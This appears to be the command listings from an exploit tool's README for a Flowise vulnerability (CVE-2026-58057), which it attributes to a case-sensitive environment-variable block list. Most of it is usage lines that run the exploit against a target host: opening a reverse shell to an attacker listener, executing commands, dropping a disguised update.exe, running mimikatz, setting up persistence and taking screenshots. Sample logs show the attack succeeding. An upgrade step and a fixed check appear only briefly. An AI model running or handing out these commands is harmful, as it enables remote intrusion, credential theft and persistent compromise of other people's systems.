# Vulnerable Validation (Case-Sensitive )
dangerous = {"PATH", "LD_LIBRARY_PATH", "DYLD_LIBRARY_PATH", "NODE_OPTIONS"}
if key in dangerous:  # Only blocks exact uppercase match
    raise ValueError(f"Modification not allowed")

# Clone repository
git clone https://github.com/CerberusMrXi/Flowise-CVE-2026-58057-exploit
cd Flowise-CVE-2026-58057-exploit

# Install dependencies
pip install -r requirements.txt

# Or minimal installation
pip install requests urllib3

FROM python:3.9-alpine
RUN apk add --no-cache gcc musl-dev
COPY requirements.txt .
RUN pip install --no-cache-dir -r requirements.txt
COPY exploit.py .
ENTRYPOINT ["python3", "exploit.py"]

python3 exploit.py --help

python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
    --payload reverse_shell \
    --lhost 192.168.1.50 \
    --lport 4444

python3 exploit.py -t http://192.168.1.100:3000 -u admin -p password \
    --payload reverse_shell \
    --lhost 192.168.1.50 \
    --lport 4444 \
    --interactive

python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
    --payload command_exec \
    --command "whoami"

python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
    --payload file_upload \
    --local-file /path/to/payload.exe \
    --remote-path "C:\\ProgramData\\update.exe"

python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
    --payload mimikatz

python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
    --payload persistence

python3 exploit.py -t http://192.168.1.100:3000 -u admin -p password \
    --payload info_gather

python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
    --payload screenshot

# Upgrade to version 3.1.3 or later
npm install -g flowise@latest
# or
docker pull flowiseai/flowise:latest

# Fixed Validation (Case-Insensitive)
dangerous = {"PATH", "LD_LIBRARY_PATH", "DYLD_LIBRARY_PATH", "NODE_OPTIONS"}
if key.upper() in dangerous:  # Case-insensitive check
    raise ValueError(f"Modification not allowed")

[14:32:15] ℹ Starting exploit sequence...
[14:32:15] ℹ Attempting authentication...
[14:32:16] ✓ Authenticated with API key
[14:32:16] ℹ Preparing reverse_shell payload execution...
[14:32:16] ℹ Injecting environment variable...
[14:32:17] ℹ Triggering payload execution...
[14:32:19] ✓ Payload 'reverse_shell' executed successfully!
[14:32:19] ℹ Reverse shell listener ready on 192.168.1.50:4444

[14:32:15] 🔍 Session created with retry strategy
[14:32:15] 🔍 Using existing workspace: ws_123456
[14:32:16] 🔍 Loader written: /tmp/loader_1234_1234567890.js
[14:32:16] 🔍 MCP stdio configuration updated

# Enable verbose logging
python3 exploit.py -t http://localhost:3000 -k API_KEY --verbose

# Test connectivity
curl -k https://localhost:3000/api/v1/version

# Check Python version
python3 --version

flowise-CVE-2026-58057-exploit/
├── exploit.py          # Main exploit script
├── requirements.txt    # Core dependencies
├── README.md          # This documentation
├── LICENSE            # MIT License
└── CHANGELOG.md       # Version history